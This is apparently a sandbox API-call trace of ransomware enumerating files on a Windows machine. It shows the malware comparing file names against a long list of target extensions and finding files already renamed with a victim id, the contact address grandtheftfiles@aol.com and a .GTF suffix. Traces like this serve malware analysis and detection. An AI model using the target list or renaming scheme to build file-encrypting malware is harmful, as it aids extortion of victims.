	[0067.765] lstrlenW (lpString=".ppa") returned 4
	[0067.765] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".ppam") returned 5
	[0067.765] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0067.765] lstrlenW (lpString=".ppm") returned 4
	[0067.765] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pps") returned 4
	[0067.765] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".ppsm") returned 5
	[0067.765] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0067.765] lstrlenW (lpString=".ppt") returned 4
	[0067.765] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pptm") returned 5
	[0067.765] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0067.765] lstrlenW (lpString=".pptx") returned 5
	[0067.765] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0067.765] lstrlenW (lpString=".prn") returned 4
	[0067.765] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".ps") returned 3
	[0067.765] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0067.765] lstrlenW (lpString=".psb") returned 4
	[0067.765] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".psd") returned 4
	[0067.765] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pst") returned 4
	[0067.765] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".ptx") returned 4
	[0067.765] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pub") returned 4
	[0067.765] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pwm") returned 4
	[0067.765] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0067.766] lstrlenW (lpString=".pxr") returned 4
	[0067.766] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0067.766] lstrlenW (lpString=".py") returned 3
	[0067.766] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0067.766] lstrlenW (lpString=".qt") returned 3
	[0067.766] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0067.766] lstrlenW (lpString=".r3d") returned 4
	[0067.766] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0067.766] lstrlenW (lpString=".raf") returned 4
	[0067.766] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0067.766] lstrlenW (lpString=".rar") returned 4
	[0067.766] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0067.766] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.766] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.766] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.766] FindClose (in: hFindFile=0x8119c8 | out: hFindFile=0x8119c8) returned 1
	[0067.766] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.766] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0067.766] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0067.766] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0067.767] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.767] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1664af, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.767] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0067.767] lstrlenW (lpString=".1cd") returned 4
	[0067.767] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".3ds") returned 4
	[0067.767] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".3fr") returned 4
	[0067.767] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".3g2") returned 4
	[0067.767] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".3gp") returned 4
	[0067.767] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".7z") returned 3
	[0067.767] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0067.767] lstrlenW (lpString=".accda") returned 6
	[0067.767] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".accdb") returned 6
	[0067.767] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".accdc") returned 6
	[0067.767] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".accde") returned 6
	[0067.767] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".accdt") returned 6
	[0067.767] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".accdw") returned 6
	[0067.767] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0067.767] lstrlenW (lpString=".adb") returned 4
	[0067.767] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".adp") returned 4
	[0067.767] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0067.767] lstrlenW (lpString=".ai") returned 3
	[0067.768] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0067.933] lstrlenW (lpString=".ai3") returned 4
	[0067.933] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0067.933] lstrlenW (lpString=".ai4") returned 4
	[0067.934] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".ai5") returned 4
	[0067.934] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".ai6") returned 4
	[0067.934] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".ai7") returned 4
	[0067.934] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".ai8") returned 4
	[0067.934] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".anim") returned 5
	[0067.934] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0067.934] lstrlenW (lpString=".arw") returned 4
	[0067.934] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".as") returned 3
	[0067.934] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0067.934] lstrlenW (lpString=".asa") returned 4
	[0067.934] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".asc") returned 4
	[0067.934] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".ascx") returned 5
	[0067.934] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0067.934] lstrlenW (lpString=".asm") returned 4
	[0067.934] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".asmx") returned 5
	[0067.934] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0067.934] lstrlenW (lpString=".asp") returned 4
	[0067.934] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".aspx") returned 5
	[0067.934] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0067.934] lstrlenW (lpString=".asr") returned 4
	[0067.934] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".asx") returned 4
	[0067.934] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".avi") returned 4
	[0067.934] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".avs") returned 4
	[0067.934] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0067.934] lstrlenW (lpString=".backup") returned 7
	[0067.935] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0067.935] lstrlenW (lpString=".bak") returned 4
	[0067.935] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".bay") returned 4
	[0067.935] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".bd") returned 3
	[0067.935] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0067.935] lstrlenW (lpString=".bin") returned 4
	[0067.935] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".bmp") returned 4
	[0067.935] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".bz2") returned 4
	[0067.935] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".c") returned 2
	[0067.935] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0067.935] lstrlenW (lpString=".cdr") returned 4
	[0067.935] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".cer") returned 4
	[0067.935] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".cf") returned 3
	[0067.935] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0067.935] lstrlenW (lpString=".cfc") returned 4
	[0067.935] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".cfm") returned 4
	[0067.935] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".cfml") returned 5
	[0067.935] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0067.935] lstrlenW (lpString=".cfu") returned 4
	[0067.935] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".chm") returned 4
	[0067.935] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".cin") returned 4
	[0067.935] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".class") returned 6
	[0067.935] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0067.935] lstrlenW (lpString=".clx") returned 4
	[0067.935] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0067.935] lstrlenW (lpString=".config") returned 7
	[0067.936] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0067.936] lstrlenW (lpString=".cpp") returned 4
	[0067.936] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".cr2") returned 4
	[0067.936] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".crt") returned 4
	[0067.936] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".crw") returned 4
	[0067.936] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".cs") returned 3
	[0067.936] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0067.936] lstrlenW (lpString=".css") returned 4
	[0067.936] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".csv") returned 4
	[0067.936] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".cub") returned 4
	[0067.936] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dae") returned 4
	[0067.936] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dat") returned 4
	[0067.936] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".db") returned 3
	[0067.936] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0067.936] lstrlenW (lpString=".dbf") returned 4
	[0067.936] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dbx") returned 4
	[0067.936] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dc3") returned 4
	[0067.936] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dcm") returned 4
	[0067.936] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dcr") returned 4
	[0067.936] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".der") returned 4
	[0067.936] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dib") returned 4
	[0067.936] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0067.936] lstrlenW (lpString=".dic") returned 4
	[0067.937] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dif") returned 4
	[0067.937] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".divx") returned 5
	[0067.937] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".djvu") returned 5
	[0067.937] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".dng") returned 4
	[0067.937] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".doc") returned 4
	[0067.937] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".docm") returned 5
	[0067.937] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".docx") returned 5
	[0067.937] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".dot") returned 4
	[0067.937] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dotm") returned 5
	[0067.937] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".dotx") returned 5
	[0067.937] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0067.937] lstrlenW (lpString=".dpx") returned 4
	[0067.937] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dqy") returned 4
	[0067.937] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dsn") returned 4
	[0067.937] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dt") returned 3
	[0067.937] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0067.937] lstrlenW (lpString=".dtd") returned 4
	[0067.937] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dwg") returned 4
	[0067.937] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dwt") returned 4
	[0067.937] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0067.937] lstrlenW (lpString=".dx") returned 3
	[0067.937] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0067.938] lstrlenW (lpString=".dxf") returned 4
	[0067.938] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".edml") returned 5
	[0067.938] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0067.938] lstrlenW (lpString=".efd") returned 4
	[0067.938] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".elf") returned 4
	[0067.938] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".emf") returned 4
	[0067.938] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".emz") returned 4
	[0067.938] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".epf") returned 4
	[0067.938] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".eps") returned 4
	[0067.938] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".epsf") returned 5
	[0067.938] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0067.938] lstrlenW (lpString=".epsp") returned 5
	[0067.938] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0067.938] lstrlenW (lpString=".erf") returned 4
	[0067.938] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".exr") returned 4
	[0067.938] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".f4v") returned 4
	[0067.938] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".fido") returned 5
	[0067.938] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0067.938] lstrlenW (lpString=".flm") returned 4
	[0067.938] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".flv") returned 4
	[0067.938] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".frm") returned 4
	[0067.938] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".fxg") returned 4
	[0067.938] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0067.938] lstrlenW (lpString=".geo") returned 4
	[0067.939] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0067.939] lstrlenW (lpString=".gif") returned 4
	[0067.939] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0067.939] lstrlenW (lpString=".grs") returned 4
	[0067.939] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0067.939] lstrlenW (lpString=".gz") returned 3
	[0067.939] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0067.939] lstrlenW (lpString=".h") returned 2
	[0067.939] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0067.939] lstrlenW (lpString=".hdr") returned 4
	[0067.939] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".hpp") returned 4
	[0067.939] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".hta") returned 4
	[0067.939] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".htc") returned 4
	[0067.939] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".htm") returned 4
	[0067.939] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".html") returned 5
	[0067.939] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0067.939] lstrlenW (lpString=".icb") returned 4
	[0067.939] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".ics") returned 4
	[0067.939] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".iff") returned 4
	[0067.939] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".inc") returned 4
	[0067.939] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".indd") returned 5
	[0067.939] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0067.939] lstrlenW (lpString=".ini") returned 4
	[0067.939] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0067.939] lstrlenW (lpString=".iqy") returned 4
	[0067.941] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".j2c") returned 4
	[0067.941] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".j2k") returned 4
	[0067.941] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".java") returned 5
	[0067.941] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0067.941] lstrlenW (lpString=".jp2") returned 4
	[0067.941] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".jpc") returned 4
	[0067.941] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".jpe") returned 4
	[0067.941] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".jpeg") returned 5
	[0067.941] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0067.941] lstrlenW (lpString=".jpf") returned 4
	[0067.941] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0067.941] lstrlenW (lpString=".jpg") returned 4
	[0067.941] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".jpx") returned 4
	[0067.942] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".js") returned 3
	[0067.942] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0067.942] lstrlenW (lpString=".jsf") returned 4
	[0067.942] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".json") returned 5
	[0067.942] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0067.942] lstrlenW (lpString=".jsp") returned 4
	[0067.942] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".kdc") returned 4
	[0067.942] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".kmz") returned 4
	[0067.942] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".kwm") returned 4
	[0067.942] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".lasso") returned 6
	[0067.942] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0067.942] lstrlenW (lpString=".lbi") returned 4
	[0067.942] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".lgf") returned 4
	[0067.942] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".lgp") returned 4
	[0067.942] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".log") returned 4
	[0067.942] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".m1v") returned 4
	[0067.942] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".m4a") returned 4
	[0067.942] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".m4v") returned 4
	[0067.942] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".max") returned 4
	[0067.942] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0067.942] lstrlenW (lpString=".md") returned 3
	[0067.942] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0067.943] lstrlenW (lpString=".mda") returned 4
	[0067.943] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mdb") returned 4
	[0067.943] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mde") returned 4
	[0067.943] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mdf") returned 4
	[0067.943] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mdw") returned 4
	[0067.943] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mef") returned 4
	[0067.943] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
